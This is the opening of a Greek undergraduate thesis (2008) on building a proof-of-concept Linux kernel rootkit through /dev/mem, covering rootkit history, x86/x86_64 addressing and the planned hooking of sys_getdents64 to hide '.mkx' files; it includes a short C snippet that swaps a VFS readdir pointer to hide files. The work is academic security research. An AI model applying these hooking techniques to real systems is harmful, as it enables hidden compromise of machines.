Ανάπτυξη rootkit σε Λειτουργικό Σύστημα Linux

Σχετικά έγγραφα
Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)

Αρχιτεκτονική x86(-64) 32-bit και 64-bit λειτουργία. Αρχιτεκτονική x86(-64) Αρχιτεκτονική επεξεργαστών x86(-64) Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)

Προηγμένοι Μικροεπεξεργαστές. Εργαστήριο 6 C & Assembly

Καταχωρητές & τμήματα μνήμης του Ματθές Δημήτριος Καθηγητής Πληροφορικής

; Γιατί είναι ταχύτερη η λήψη και αποκωδικοποίηση των εντολών σταθερού μήκους;

Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ. Εισαγωγή

Προηγμένοι Μικροεπεξεργαστές. Protected Mode & Multitasking

Υποστήριξη Λ.Σ. ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική

Οργάνωση επεξεργαστή (1 ο μέρος) ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική

Εισαγωγή στην Πληροφορική

Προηγμένοι Μικροεπεξεργαστές. Εργαστήριο 4 - Editor

Κεντρική Μονάδα Επεξεργασίας (ΚΜΕ) Τμήματα ΚΜΕ (CPU) Ένα τυπικό υπολογιστικό σύστημα σήμερα. Οργάνωση Υπολογιστών (Ι)

Οργάνωση Υπολογιστών (Ι)

Προηγμένοι Μικροεπεξεργαστές. Paging & Segmentation

Αρχιτεκτονική Υπολογιστών

Writing kernels for fun and profit

ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών. Intel x86 ISA. Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ

Εικονική Μνήμη (Virtual Μemory)

Ιεραρχία Μνήμης. Εικονική μνήμη (virtual memory) Επεκτείνοντας την Ιεραρχία Μνήμης. Εικονική Μνήμη. Μ.Στεφανιδάκης

Αρχιτεκτονική Υπολογιστών

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών Εικονική Μνήμη. (και ο ρόλος της στην ιεραρχία μνήμης)

ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ. Λειτουργικά Συστήματα Ι. Διδάσκων: Καθ. Κ. Λαμπρινουδάκης ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι

Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)

ΑΡΧΙΤΕΚΤΟΝΙΚΗ HARDWARE ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ

Μικροεπεξεργαστές. Σημειώσεις Μαθήματος Υπεύθυνος: Δρ Άρης Παπακώστας,

Υποστήριξη διαδικασιών στο υλικό των υπολογιστών

Προηγμένοι Μικροεπεξεργαστές. Έλεγχος Ροής Προγράμματος

6. Επιστροφή ελέγχου στο σημείο εκκίνησης

Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή

Αρχιτεκτονική Υπολογιστών

Οργάνωση Υπολογιστών ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΡΗΤΗΣ. Διαλέξεις 6: Κάλεσμα Διαδικασιών, Χρήση και Σώσιμο Καταχωρητών. Μανόλης Γ.Η.

MIPS functions and procedures

Προηγμένοι Μικροεπεξεργαστές. Φροντιστήριο 4 Real Mode Interrupts

Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1

Εισαγωγή εκτελέσιμου κώδικα σε διεργασίες

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι. Λειτουργικά Συστήματα Ι ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ. Επ. Καθ. Κ. Λαμπρινουδάκης

Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα

Κεφάλαιο 3 Αρχιτεκτονική Ηλεκτρονικού Τμήματος (hardware) των Υπολογιστικών Συστημάτων ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ

Αρχιτεκτονική υπολογιστών

Πανεπιστήμιο Θεσσαλίας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Τμήμα Πληροφορικής

Λειτουργικά Συστήματα (Λ/Σ)

Μάθημα 8: Διαχείριση Μνήμης

Μάθημα 4: Κεντρική Μονάδα Επεξεργασίας

ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ

Το λειτουργικό σύστημα. Προγραμματισμός II 1

Στοιχεία από Assembly Γιώργος Μανής

Μάθημα 3.8 Τεχνικές μεταφοράς δεδομένων Λειτουργία τακτικής σάρωσης (Polling) Λειτουργία Διακοπών DMA (Direct Memory Access)

Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1

Λειτουργικά Συστήματα Η/Υ

Αρχιτεκτονική-ΙI Ενότητα 6 :

Προγραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Εργαστήριο 4. Εαρινό Εξάμηνο ΠΡΟΣΟΧΗ: Αρχίστε νωρίς το Εργαστήριο 4. Οι ασκήσεις είναι πιο απαιτητικές από τα προηγούμενα εργαστήρια.

Προγραμματισμός Ι (HY120)

Μάθημα 8: Επικοινωνία Συσκευών με τον Επεξεργαστή

3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση χώρου διευθύνσεων

Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ

Εικονική Μνήμη (1/2)

Εικονική Μνήμη (Virtual Μemory)

Το λειτουργικό σύστημα. Προγραμματισμός II 1

ΠΡΟΗΓΜΕΝΟΙ ΜΙΚΡΟΕΠΕΞΕΡΓΑΣΤΕΣ PROJECT 2: MEMORY MANAGEMENT

ΕΙΔΙΚΟΤΗΤΑ: ΤΕΧΝΙΚΟΣ ΕΦΑΡΜΟΓΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΜΑΘΗΜΑ: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΠΛΗΡΟΦΟΡΙΚΗ

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση

Μάθημα 3.2: Κεντρική Μονάδα Επεξεργασίας

Δομημένος Προγραμματισμός (ΤΛ1006)

Σημειώσεις για τον 80x86

MIPS Interactive Learning Environment. MILE Simulator. Version 1.0. User's Manual

Συναρτήσεις-Διαδικασίες

Λειτουργικά Συστήματα (διαχείριση επεξεργαστή, μνήμης και Ε/Ε)

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ ΙΙ - UNIX. Συστήματα Αρχείων. Διδάσκoντες: Καθ. Κ. Λαμπρινουδάκης Δρ. Α. Γαλάνη

Τι είναι ένα λειτουργικό σύστημα (ΛΣ); Μια άλλη απεικόνιση. Το Λειτουργικό Σύστημα ως μέρος του υπολογιστή

Διαδικασίες Ι. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 4

ΗΜΥ Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86

Μετάφραση ενός Προγράμματος Εξαιρέσεις

Αρχιτεκτονική υπολογιστών

Λειτουργικά Συστήματα (Λ/Σ)

Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ. «Φέτα» ημιαγωγών (wafer) από τη διαδικασία παραγωγής ΚΜΕ

Εντολές γλώσσας μηχανής

Προγραμματισμός Η/Υ (ΤΛ2007 )

Εισαγωγή στην πληροφορική -4

Αρχιτεκτονική Υπολογιστών

Δημήτρης Πρίτσος. ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής

Κεφάλαιο 4 Σύνδεση Μικροεπεξεργαστών και Μικροελεγκτών ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ

Κατανεμημένα Συστήματα

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ. Διαχείριση μνήμης III

Προγραμματισμός ΙI (Θ)

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών

Προγραμματισμός Ι (ΗΥ120)

Λειτουργικά Συστήματα (ΗΥ321)

Ενσωµατωµένα Υπολογιστικά Συστήµατα (Embedded Computer Systems)

Γενική οργάνωση υπολογιστή «ΑΒΑΚΑ»

ΠΛΕ- 074 Αρχιτεκτονική Υπολογιστών 2

Λειτουργικά Συστήματα

Εργαστήριο Λειτουργικών Συστημάτων. Minix Overview

Το λειτουργικό σύστημα. Προγραμματισμός II 1

Εικονικοποίηση. Αρχιτεκτονική Υπολογιστών 5ο Εξάμηνο,

Δομημένος Προγραμματισμός

Προγραμματισμός ΙI (Θ)

EPL475:Εργαστήριο 5, GDB

Transcript:

Αλεξάνδρειο Τεχνολογικό Εκπαιδευτικό Ίδρυμα Θεσσαλονίκης Τμήμα Πληροφορικής Ανάπτυξη rootkit σε Λειτουργικό Σύστημα Linux Πτυχιακή εργασία Χατζηκυριάκου Ελένης Σεπτέμβριος 2008 Υπεύθυνος: Δρ. Ελευθέριος Μπόζιος

Περιεχόμενα Περιεχόμενα... 1 Πρόλογος... 4 1 Εισαγωγή... 6 1.1 Εξέλιξη των rootkit πυρήνα... 8 1.2 Λειτουργία rootkit /dev/mem... 10 Assembly αρχιτεκτονικής x86 και x86_64... 14 1.3 Θέματα διευθυνσιοδότησης... 14 1.4 Καταχωρητές x86... 15 1.5 Καταχωρητές x86_64... 17 Στοίβα Stack... 19 1.6 Μεταφορά ελέγχου... 20 1.7 Η εντολή ret... 21 1.8 Πέρασμα παραμέτρων... 21 1.9 Η μέθοδος των καταχωρητών... 22 1.10 Η μέθοδος της στοίβας... 23 1.11 Η στοίβα σε συστήματα x64... 29 Τεχνολογίες επεξεργαστών και διαφορές τους... 30 1.12 Αρχιτεκτονικές AMD64 και IA64... 30 Καταστάσεις λειτουργίας και μοντέλα μνήμης Operating modes & memory models... 31 Μοντέλα δεδομένων... 34 Ιδεατή μνήμη Virtual Memory... 35 1

1.13 Ιδεατός χώρος μνήμης 32-bit... 35 1.14 Ιδεατός χώρος μνήμης 64-bit... 38 Διακοπές και εξαιρέσεις Interrupts and exceptions... 43 Πίνακας διακοπών Interrupt descriptor table... 47 Κλήσεις συστήματος System Calls... 51 Απόκρυψη διεργασιών και φακέλων με την βοήθεια των διακοπών... 53 Τα αρχεία ELF... 59 1.15 Εκτελέσιμα Αρχεία ELF... 61 1.16 ELF σε συστήματα x64... 66 Shellcode για αρχιτεκτονική x86... 68 Σύνταξη assembly AT&T... 72 1.17 Βασική Μορφή... 72 Ανάπτυξη rootkit /dev/mem... 77 1.18 Εύρεση διευθύνσεων μεθόδων πυρήνα... 77 1.19 Δέσμευση μνήμης... 80 1.20 Κρύβοντας αρχεία Hooking sys_getdents64... 82 Περαιτέρω ανάπτυξη... 93 Περιπτώσεις αποτυχίας... 96 Μέτρα προστασίας... 99 Συμπεράσματα... 103 ΠΑΡΑΡΤΗΜΑ Α... 106 ΠΑΡΑΡΤΗΜΑ Β... 107 ΠΑΡΑΡΤΗΜΑ Γ... 111 Αναφορές... 120 Βιβλιογραφία... 122 2

στους γονείς μου και στον αγαπημένο φίλο Μέλανδρο 3

Πρόλογος Η αντιμετώπιση κακόβουλου λογισμικού γίνεται όλο και πιο αναγκαία στις μέρες μας. Καινούργια είδη, τεχνικές και ιδέες γεννιούνται κάθε μέρα. Γίνεται όλο και πιο αδύνατο να υπάρξει ένας υπολογιστής απόλυτα προστατευμένος και ταυτόχρονα λειτουργικός από κάθε άποψη. Η εξέλιξη των συστημάτων, μαζί με την ευρεία διάδοση του διαδικτύου, έφεραν τους χρήστες πιο κοντά στην γνώση, όμως ταυτόχρονα και στον κίνδυνο. Καθώς η ανάγκη για την καλύτερη προστασία αυξάνεται οι χρήστες αρχίζουν να αναζητούν λύσεις όχι μόνο σε καινούργιες εφαρμογές, αλλά και σε λειτουργικά συστήματα (ΛΣ). Μία άποψη αρκετά διαδεδομένη είναι ότι το ΛΣ Linux είναι προστατευμένο από κακόβουλα προγράμματα. Η άποψη αυτή σπανίως είναι τεκμηριωμένη. Πολλοί την αποδίδουν στο γεγονός πως αυτό το ΛΣ δεν είναι τόσο διαδεδομένο σε προσωπικούς υπολογιστές. Ας μην ξεχνάμε πως ο αρχικός σχεδιασμός βασίζεται στα multi-user multi-tasking unix συστήματα. Αν και το σύνθημα είναι GNU GNU s Not Unix, δε μπορεί να παραβλεφθεί το γεγονός πως το Linux απείχε αρκετά στον αρχικό του σχεδιασμό από αυτό που θα αποκαλούσαμε προσωπικός υπολογιστής. Ταυτόχρονα η δημιουργία κακόβουλων προγραμμάτων ήταν ανέκαθεν συνδυασμένη με την ύπαρξη προσωπικών υπολογιστών και χρηστών που λίγα γνωρίζουν για την εσωτερική λειτουργία του συστήματος που χρησιμοποιούν. Άλλοι ίσως αναφέρουν πως η ανάπτυξη ιομορφικών προγραμμάτων σε Linux είναι πιο δύσκολη διαδικασία από ότι σε άλλα ΛΣ όπως Windows. Και οι δύο παραπάνω αιτιολογίες ωστόσο αντικρούονται εύκολα όπως φαίνεται παρακάτω. 4

Τα τελευταία χρόνια παρατηρείται μία αύξηση της επιλογής Linux ως ΛΣ σε προσωπικούς υπολογιστές, κάτι που ήταν άμεσο αποτέλεσμα της ευκολίας χρήσης του. Επιχειρήσεις και υπηρεσίες στην Ευρώπη και στον κόσμο επιλέγουν να εγκαταστήσουν αυτό το ΛΣ λόγω του χαμηλού κόστους του. Επιπλέον, όπως γνωρίζουμε το Linux είναι ανοιχτού κώδικα. Ανέκαθεν αυτό έκανε οποιοδήποτε λογισμικό μεγαλύτερο στόχο από δημιουργούς κακόβουλων προγραμμάτων. Είναι πολύ πιο εύκολο να καταλάβεις και να βρεις τις τυχόν αδυναμίες σε ένα κομμάτι πηγαίου κώδικα παρά σε ένα κομμάτι γλώσσας μηχανής. Έτσι έχουμε για παράδειγμα εφαρμογές που λίγοι ίσως γνωρίζουν όπως είναι το clamav, ένα antivirus για Linux και άλλα συστήματα τύπου Unix. Παρά τα παραπάνω, το Linux μαζί με τα υπόλοιπα που προσφέρει, όπως σταθερότητα, και ελαφρύτητα, παραμένει μια καλή επιλογή για μικρού ή και μεγαλύτερου βάρους εξυπηρετητές, ενώ ταυτόχρονα κερδίζει έδαφος στους προσωπικούς υπολογιστές. Μαζί με αυτό κερδίζει επίσης έδαφος η άποψη πως δεν είναι άτρωτο και χωρίς κινδύνους. Στην παρούσα εργασία θα αναλυθεί ο τρόπος λειτουργίας ενός συγκεκριμένου είδους κακόβουλων προγραμμάτων με την ονομασία rootkit. Θα αναπτυχθεί ένα μικρό δείγμα σαν απόδειξη όσων θα αναφερθούν. Το ΛΣ επιλέχθηκε να είναι το Linux ακριβώς επειδή είναι ανοιχτού κώδικα. Παρέχει ένα πρόσφορο έδαφος ανακάλυψης της λειτουργίας του πυρήνα του. Μαζί με αυτό, αναλύονται και τμήματα των βασικών αρχιτεκτονικών προσωπικών υπολογιστών x86 και x64. 5

1 Εισαγωγή Το 1984, o Ken Thompson παρουσίασε το Reflections on Trusting Trust, όπου για πρώτη φορά αναφέρθηκε η ιδέα της απόκρυψης μιας διεργασίας μέσα σε ένα UNIX σύστημα [1]. Σύμφωνα με την ιδέα του, ενώ ο καθένας θα μπορούσε να κοιτάξει τον κώδικα ενός προγράμματος ανοιχτού κώδικα πριν το εγκαταστήσει στο σύστημά του, ωστόσο λίγοι, ίσως κανένας, δεν θα έκανε το ίδιο με την μεταγλωττισμένη έκδοση του προγράμματος αυτού. Τι θα γινόταν λοιπόν αν ο μεταγλωττιστής μας 'εκπαιδευόταν' ώστε να μπορεί να καταλάβει ένα ειδικό μοτίβο που αντιστοιχούσε σε ένα πεδίο login; Επιπλέον ο compiler μόλις έβρισκε αυτό το μοτίβο, το αντικαθιστούσε με μία άλλη εργασία που έκανε -σχεδόν- την ίδια δουλειά. Το αποτέλεσμα θα ήταν οποιοδήποτε πρόγραμμα μεταγλωττίζεται από τον συγκεκριμένο compiler, να κρύβει μέσα του την διεργασία που εμείς θέλουμε να κάνει χωρίς να το γνωρίζει ο χρήστης. Ο μεταγλωττιστής-στόχος του Thompson δεν ήταν άλλος από τον C compiler. Και από την στιγμή που αυτός έρχεται μεταγλωτισμένος για τις εκδόσεις UNIX, οι πιθανότητες να τον ελέγξει κανείς ήταν λίγες. Ο Thompson όμως προχώρησε ακόμη περισσότερο. Ο 'πειραγμένος' μεταγλωττιστής μπορούσε να καταλάβει αν προσπαθούμε να εγκαταστήσουμε μια καινούργια έκδοση μεταγλωττιστή, και αν ναι, θα προσέθετε το ίδιο χαρακτηριστικό και σε αυτόν! Αν και η ιδέα του έχει περισσότερο την μορφή backdoor ωστόσο ήταν η πρώτη φορά που έγινε αναφορά σε μία κρυμμένη διεργασία μέσα στο σύστημα. 6

Από τότε μέχρι σήμερα έχουν παρουσιαστεί πολλές μορφές λογισμικού που κάνουν παρόμοιες λειτουργίες. Οι κατηγορίες ανάλογα με τον τρόπο ή επίπεδο λειτουργίας ποικίλουν όπως Application level, Library level, Kernel level, Virtualized, Firmware και έχουν επικρατήσει με την ονομασία rootkits. Ένα χαρακτηριστικό αυτών των προγραμμάτων είναι ότι λειτουργούν όλο και χαμηλότερα στα επίπεδα λειτουργίας του υπολογιστή. Όπως μια πιο πρόσφατη ιδέα, αυτή των Vistualized rootkits, τα οποία φορτώνουν τον εαυτό τους, αντί για το κανονικό σύστημα και στην συνέχεια κάνουν το ΛΣ να λειτουργεί όπως θα λειτουργούσε αν ήταν 'πάνω' σε ένα Virtual Machine (VM). Εκεί πλέον ο έλεγχος ανήκει ολοκληρωτικά στο κρυφό αυτό πρόγραμμα, αφού οποιαδήποτε λειτουργία του συστήματος περνάει πρώτα από το virtual machine. Η Joanna Rutkowska παρουσίασε κάτι παρόμοιο δίνοντάς του τον κινηματογραφικό τίτλο 'Blue Pill'. Όταν το σύστημα δεχόταν αυτό το χάπι λειτουργούσε μέσα σε μια ιδεατή πραγματικότητα νομίζοντας πως αυτή είναι ο 'πραγματικός κόσμος'. Το Blue Pill είναι ένας thin hypervisor, δηλαδή ένα λογισμικό VM με ένα περιορισμένο αριθμό εντολών, ώστε να λειτουργεί με την μικρότερη δυνατή καθυστέρηση [2]-[3]. Ο εντοπισμός του Blue Pill ήρθε από την ίδια την Rutkowska με τον αναμενόμενο τίτλο 'Red Pill' [4]. Το δεύτερο μπορεί να συνοψιστεί σε μια εντολή assembly, που όταν εκτελείται επιστρέφει την διεύθυνση του πίνακα διακοπών του συστήματος. Εάν υπάρχει κάποιο VM εγκατεστημένο στο σύστημα, τότε ο πίνακα αυτός κατά πάσα πιθανότητα έχει μετατοπιστεί σε μία διεύθυνση με μεγαλύτερη τιμή. Όταν το σύστημα το βλέπει αυτό, καταλαβαίνει πως ο κόσμος του είναι μια ιδεατή πραγματικότητα από την οποία και θέλει να ξυπνήσει! Πολύ νωρίς στην εκκίνηση του υπολογιστή λειτουργούν επίσης και τα MBR 7

rootkits. Εγκαθιστούν τον εαυτό τους στο Master Boot Record του συστήματος, όπου και τοποθετούν ένα κομμάτι κώδικα το οποίο εκτελείται πριν την εκκίνηση του ΛΣ. Και εδώ το μοτίβο είναι το ίδιο. Η επιθυμητές διεργασίες κρύβουν την λειτουργία τους μέσα σε άλλες 'νόμιμες' διεργασίες, μια τεχνική που αποκαλείται hooking. 1.1 Εξέλιξη των rootkit πυρήνα Ερευνώντας κανείς αυτή την ιδιαίτερη κατηγορία ιομορφικού λογισμικού, τα kernel rootkit, μπορεί να δει παραλλαγές που βασίζονται στην ίδια βασική αρχή: Αλλαγή των δομών του πυρήνα. Μία δυνατότητα που παρέχεται σε οποιονδήποτε έχει δικαιώματα υπερχρήστη σε ένα μηχάνημα και ο οποίος μπορεί να εγκαταστήσει ένα kernel module [5]. Όπως είναι γνωστό ο πυρήνας στο Linux είναι σαν ένα μεγάλο κομμάτι κώδικα το οποίο μπορεί να επιδεχθεί αλλαγών και προσθηκών οποιαδήποτε στιγμή. Τα LKM (Loadable Kernel Modules) ήταν το πρώτο όχημα μέσα από το οποίο βασικές δομές και μέθοδοι του πυρήνα δέχονταν αλλαγές προκειμένου να κρυφτούν διεργασίες και αρχεία. Το δεύτερο, όπως θα δούμε παρακάτω ήταν ο πίνακας κλήσεων συστήματος. Στο ενδιάμεσο όμως υπήρξαν και άλλες τεχνικές, οι οποίες ήταν επίσης LKM, αλλά δεν βασίζονταν στον πίνακα κλήσεων συστήματος [6]. Αυτές στηρίζονταν καθαρά στις δομές του πυρήνα, κάτι που τις έκανε αντιμετωπίσιμες από την στιγμή της δημοσίευσής τους στο ευρύ κοινό. Μία από αυτές ήταν και τα VFS rootkit. Μία εκτενέστερη εξήγηση του VFS (Virtual File System) θα γίνει παρακάτω. Εδώ απλά αναφέρουμε σαν παράδειγμα την κεντρική ιδέα, η οποία περιγράφεται στο 8

κομμάτι κώδικα K 1. void patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) { struct file *filep; filep = filp_open(p, O_RDONLY, 0); //f_op = file operations *orig_readdir = filep->f_op->readdir; //redirect sthn diki mas methodo filep->f_op->readdir = new_readdir; filp_close(filep, 0); } K 1. Αντικατάσταση της μεθόδου readdir Όπου readdir() είναι μέθοδος πυρήνα για την ανάγνωση ενός καταλόγου. Αντικαθιστώντας αυτήν με μία καινούργια μέθοδο new_readdir() μπορούμε να φιλτράρουμε τα αρχεία που θέλουμε να κρύψουμε [7]. Προγράμματα όπως το ls, διαβάζουν τις διεργασίες οι οποίες τρέχουν κάθε στιγμή μέσω αρχείων. Τα αρχεία αυτά βρίσκονται στο proc FS, το οποίο είναι άλλο ένα VFS. Αν επιλέξουμε να αντικαταστήσουμε τις μεθόδους που αντιστοιχούν στο /proc, μπορούμε εκτός από αρχεία πλέον να κρύψουμε και διεργασίες. Ο βαθμός δυσκολίας συγγραφής ενός τέτοιου rootkit δεν είναι μεγάλος. Όμως ο κίνδυνος που θέτει σήμερα είναι ανύπαρκτος επειδή πλέον μέθοδοι όπως readdir() δεν μπορούν να αντικατασταθούν από την στιγμή που τα σύμβολά τους δεν είναι global για τον πυρήνα και τα module. Η προσπάθεια αντικατάστασης αυτής της μεθόδου προκαλεί ένα compilation error κατά την μεταγλώττιση του module. 9

1.2 Λειτουργία rootkit /dev/mem Στο παρόν κείμενο θα εξεταστεί ο τρόπος λειτουργίας ενός παρόμοιου προγράμματος, το οποίο όμως χρησιμοποιεί τον πίνακα διακοπών του συστήματος. Το ΛΣ επιλέχθηκε να είναι το Linux, με τις εκδόσεις πυρήνα 2.6 και νεότερες. Με μερικές εξαιρέσεις το ίδιο πρόγραμμα θα μπορούσε να έχει τα ίδια αποτελέσματα και για τις εκδόσεις 2.4. Το πρόγραμμα δεν θα είναι LKM, όμως θα αντικαταστήσει κάποιες μεθόδους των εξυπηρετητών των κλήσεων συστήματος (syscall handlers) με άλλες που επιτελούν τις επιθυμητές λειτουργίες [8]. Το ερώτημα που δημιουργείται αμέσως είναι πώς θα γίνει αυτό, από την στιγμή που κάθε πρόγραμμα από το πιο απλό, μέχρι το πιο σύνθετο όπως ένας πυρήνας, έχει μια συγκεκριμένη περιοχή και εικόνα μνήμης, δικές του μεταβλητές, μεθόδους κλπ., στα οποία κανένα άλλο πρόγραμμα δεν έχει πρόσβαση. Η διαδικασία δεν εμπλέκει απλά την αλλαγή της ροής του προγράμματος όπως με την βοήθεια stack ή heap based overflow, μέσω δεδομένων που εισάγονται στο πρόγραμμα. Αυτό που θα κάνουμε είναι να τροποποιήσουμε απ ευθείας τις περιοχές μνήμης όπου είναι τοποθετημένος ο κώδικας της κάθε κλήσης συστήματος, δηλαδή το.text. Η τροποποίηση θα γίνει μέσω ενός ειδικού αρχείου που αντιπροσωπεύει την μνήμη στο Linux, το /dev/mem. Γράφοντας σε αυτές τις περιοχές μνήμης όπου υπάρχει ο κώδικας του πυρήνα, αναγκάζουμε το σύστημα να επιτελέσει λειτουργίες που εμείς θα προγραμματίσουμε δίνοντάς μας απεριόριστες δυνατότητες. Συνοπτικά, η διαδικασία φαίνεται στο Σχήμα 1. 10

Σχήμα 1. Γενική περιγραφή προγράμματος Οι περιοχές που εμείς θα τροποποιήσουμε είναι σημειωμένες με μαύρο. Άλλοτε θα τροποποιήσουμε τις ίδιες τις περιοχές όπου κατοικούν οι μέθοδοι, και άλλοτε τις διευθύνσεις όπου δείχνουν, κάνοντας ανακατεύθυνση του ελέγχου στις δικές μας μεθόδους. Οι πίνακες συστήματος που θα μας βοηθήσουν να κατατοπιστούμε στην μνήμη είναι ο Interrupt Descriptor Table (IDT), και ο syscall table [9]. Σαν τελικό στόχο επιλέξαμε το να κρύψουμε όλα τα αρχεία με την κατάληξη.mkx, κάνοντας hooking στην κλήση συστήματος που επιστρέφει τα περιεχόμενα ενός φακέλου. Τα αρχεία αυτά δεν θα είναι κρυμμένα από απ ευθείας εγγραφές ή αναγνώσεις για οποιονδήποτε γνωρίζει ότι αυτά υπάρχουν στο σύστημα. Η ανάπτυξή του θα αποδεικνύει απλά την ισχύ της εν λόγω θεωρίας. Παρακάτω θα εξεταστούν οι λεπτομέρειες για την ανάπτυξη του προγράμματος βήμα βήμα ενώ ταυτόχρονα θα εξετάζονται και οι λειτουργίες του συστήματος που το βοηθούν να επιτελέσει τους σκοπούς του. Το πρόγραμμα είναι βασισμένο στο rootkit με την ονομασία phalanx [10]. Η αρχιτεκτονική στην οποία θα εργαστούμε είναι x86 και x86_64. Δοκιμές έχουν 11

γίνει σε συστήματα Debian 2.6.18.5 - i686 και Slackware 2.6.21.5 - i686 (x86), Debian 2.6.18.5 - amd64 (x64). Η ανάπτυξη του προγράμματος έγινε με χρήση γλώσσας C και assembly. Τα εργαλεία που χρησιμοποιήθηκαν είναι τα παρακάτω, gdb, κύριος debugger για Linux (GNU debugger) gcc, επίσημος μεταγλωτιστής για προγράμματα σε C και C++ objdump, έρχεται με τις περισσότερες εκδόσεις Linux και μας βοηθάει να δούμε τον κώδικα ενός εκτελέσιμου σε γλώσσα μηχανής hexdump, όπως και το προηγούμενο, αλλά αυτή τη φορά μπορούμε να δούμε τον κώδικα στο δεκαδικό ή οκταδικό σύστημα κλπ. nasm, για την δημιουργία εκτελέσιμων από γλώσσα assembly cscope, για την ανάγνωση του κώδικα του πυρήνα (και kscope το αντίστοιχο front-end) kdevelop, για την ανάπτυξη του προγράμματος virtualbox, για τον έλεγχο της συμπεριφοράς του προγράμματός μας σε virtual machine καθώς και την εκτέλεση μικρών τμημάτων κώδικα σε απομονωμένο περιβάλλον Πριν την ανάπτυξη του προγράμματος θα γίνει μια εισαγωγή με τα βασικά στοιχεία της αρχιτεκτονικής x86 και x64 και του ΛΣ τα οποία θα μας βοηθήσουν στην κατανόηση του θέματος. Καθ όλη την διάρκεια ανάπτυξης του προγράμματος κύριος στόχος μας είναι μια 12

μικρή περιήγηση στην λειτουργία του ΛΣ Linux πρώτα και έπειτα η δημιουργία ενός προγράμματος που αποδεικνύει ότι όλα τα παραπάνω ισχύουν. Μέσα από την έρευνα αυτή ο αναγνώστης καλείται να σκεφθεί λίγο διαφορετικά πάνω σε θέματα που αφορούν την ασφάλεια του συστήματός του, να προβληματιστεί και να δει τα πράγματα με έναν λιγότερο συμβατικό τρόπο. 13

2 Assembly αρχιτεκτονικής x86 και x86_64 2.1 Θέματα διευθυνσιοδότησης Η μνήμη είναι οργανωμένη και προσπελάσεται σαν μία ακολουθία από byte. Το μέγεθος της μνήμης που έχουμε κάθε στιγμή την δυνατότητα να προσπελάσουμε λέγεται χώρος διευθύνσεων. Στον χώρο διευθύνσεων μας κάθε διεύθυνση αντιστοιχεί σε ένα byte. 2.1.1 Paged memory model Σχεδόν όλες οι υλοποιήσεις της ιδεατής μνήμης διαχωρίζουν το virtual address space μιας εφαρμογής σε σελίδες (pages). Μία σελίδα είναι ένα τμήμα συνεχών ιδεατών διευθύνσεων. Ταυτόχρονα υπάρχουν πίνακες γνωστοί ως page tables οι οποίοι βοηθάνε στην μετάφραση των διευθύνσεων αυτών σε πραγματικές. 2.1.2 Segmented memory model Ο επεξεργαστής μας μπορεί να υποστηρίζει διευθυνσιοδότηση τμημάτων (segmented addressing). Σε αυτή τη περίπτωση ένα πρόγραμμα μπορεί να έχει ανεξάρτητους μεταξύ τους χώρους διευθύνσεων που ονομάζονται τμήματα (segments). Έτσι ένα πρόγραμμα μπορεί να κρατά σε διαφορετικό τμήμα τις εντολές (code segment), σε διαφορετικό την στοίβα προγράμματος (stack) κοκ. 14

